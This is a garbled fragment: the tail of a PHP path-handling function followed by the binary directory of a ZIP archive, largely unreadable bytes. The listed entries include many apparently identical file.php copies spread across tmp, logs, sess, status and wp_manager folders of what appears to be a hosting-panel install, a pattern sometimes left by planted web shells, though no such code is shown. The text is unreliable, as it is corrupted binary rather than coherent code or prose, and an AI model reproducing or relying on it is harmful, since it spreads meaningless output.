                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKqo[���B�B�tmp/file.phpnu�[���PKqo[~�logs/error_log.lognuW+A��PKqo[���B�B�
��logs/file.phpnu�[���PKro[���B�B�?Sstatus/file.phpnu�[���PKro[4okCYY��user.phpnu"�]
�PKro[���B�B�
Qsess/file.phpnu�[���PKro[�V4�)�)Щinstallations.phpnu"�]
�PKro[�������sitepad.phpnu"�]
�PKro[���B�B���wp_manager/file.phpnu�[���PKso[f������#(~wp_manager/screenshots/26_99574.pngnu�[���PKso[�OqP0�0�#to
wp_manager/screenshots/26_50677.pngnu�[���PKso[o�z����#�wp_manager/screenshots/26_75001.pngnu�[���PKso[���B�B���file.phpnu�[���PK

/vM